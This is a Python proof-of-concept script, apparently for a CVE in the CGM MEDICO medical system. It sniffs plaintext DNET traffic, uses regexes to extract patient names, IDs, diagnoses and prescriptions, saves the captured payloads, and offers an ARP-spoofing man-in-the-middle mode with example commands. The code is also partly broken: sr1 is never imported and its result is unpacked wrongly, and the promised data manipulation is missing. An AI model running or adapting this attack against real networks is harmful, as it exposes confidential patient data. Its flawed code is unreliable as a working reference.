# CVE-2025-48981 PoC - DNET Protocol Eavesdropping & Manipulation
# This PoC demonstrates how to sniff and manipulate unencrypted DNET protocol traffic
# Requirements: scapy, Python 3.x
# Run on a host within the same intranet as the CGM MEDICO server
from scapy.all import sniff, IP, TCP, Raw, send, ARP, Ether, conf
import argparse
import re
def identify_dnet_packet(packet):
"""Identify DNET protocol packets based on known patterns/ports."""
if packet.haslayer(TCP) and packet.haslayer(Raw):
payload = packet[Raw].load
# DNET protocol may use specific port or header markers
# Adjust the port and signature based on the target environment
if packet[TCP].dport == 20000 or packet[TCP].sport == 20000:
return payload
return None
def parse_dnet_data(payload):
"""Parse and display DNET protocol data (likely contains medical records)."""
try:
decoded = payload.decode('utf-8', errors='replace')
# Look for sensitive patterns: patient names, IDs, diagnoses, prescriptions
sensitive_patterns = {
'patient_name': r'(?i)(patient|name)\s*[:=]\s*(\S+)',
'patient_id': r'(?i)(pid|patient_id|mrn)\s*[:=]\s*(\S+)',
'diagnosis': r'(?i)(diagnos|icd)\s*[:=]\s*(\S+)',
'prescription': r'(?i)(prescri|medic|drug)\s*[:=]\s*(\S+)',
}
findings = {}
for key, pattern in sensitive_patterns.items():
match = re.search(pattern, decoded)
if match:
findings[key] = match.group(0)
return findings
except Exception as e:
return {'error': str(e)}
def arp_spoof(target_ip, gateway_ip):
"""Perform ARP spoofing to position attacker as MITM (for manipulation)."""
# WARNING: Only use in authorized penetration testing environments
target_mac = get_mac(target_ip)
gateway_mac = get_mac(gateway_ip)
# Send spoofed ARP replies
send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip), verbose=False)
send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip), verbose=False)
def get_mac(ip):
"""Get MAC address of an IP via ARP request."""
ans, _ = sr1(ARP(op=1, pdst=ip), timeout=2, verbose=False)
return ans.hwsrc if ans else None
def packet_callback(packet):
"""Process each captured packet for DNET data."""
payload = identify_dnet_packet(packet)
if payload:
print(f"[+] Captured DNET packet ({len(payload)} bytes)")
findings = parse_dnet_data(payload)
if findings:
print(f"[!] Sensitive data found: {findings}")
# Optionally save raw payload for further analysis
with open('captured_dnet_data.bin', 'ab') as f:
f.write(payload + b'\n---PACKET_BOUNDARY---\n')
def main():
parser = argparse.ArgumentParser(description='CVE-2025-48981 PoC - DNET Sniffer')
parser.add_argument('-i', '--interface', default=conf.iface, help='Network interface')
parser.add_argument('-f', '--filter', default='tcp port 20000', help='BPF filter')
parser.add_argument('--mitm', action='store_true', help='Enable MITM mode (ARP spoof)')
parser.add_argument('--target', help='Target IP for MITM')
parser.add_argument('--gateway', help='Gateway IP for MITM')
args = parser.parse_args()
if args.mitm and args.target and args.gateway:
print(f"[*] Starting ARP spoofing: {args.target} <-> {args.gateway}")
arp_spoof(args.target, args.gateway)
print(f"[*] Sniffing on interface {args.interface} with filter '{args.filter}'")
sniff(iface=args.interface, filter=args.filter, prn=packet_callback, store=0)
if __name__ == '__main__':
main()
# Usage:
# 1. Passive eavesdropping:
# python3 cve_2025_48981_poc.py -i eth0 -f "tcp port 20000"
# 2. Active MITM with data manipulation:
# python3 cve_2025_48981_poc.py -i eth0 --mitm --target 192.168.1.100 --gateway 192.168.1.1
#
# Note: Adjust the DNET port number and protocol signature according to the
# specific CGM MEDICO deployment. Encryption being optional means traffic
# may be transmitted in plaintext, exposing sensitive medical data.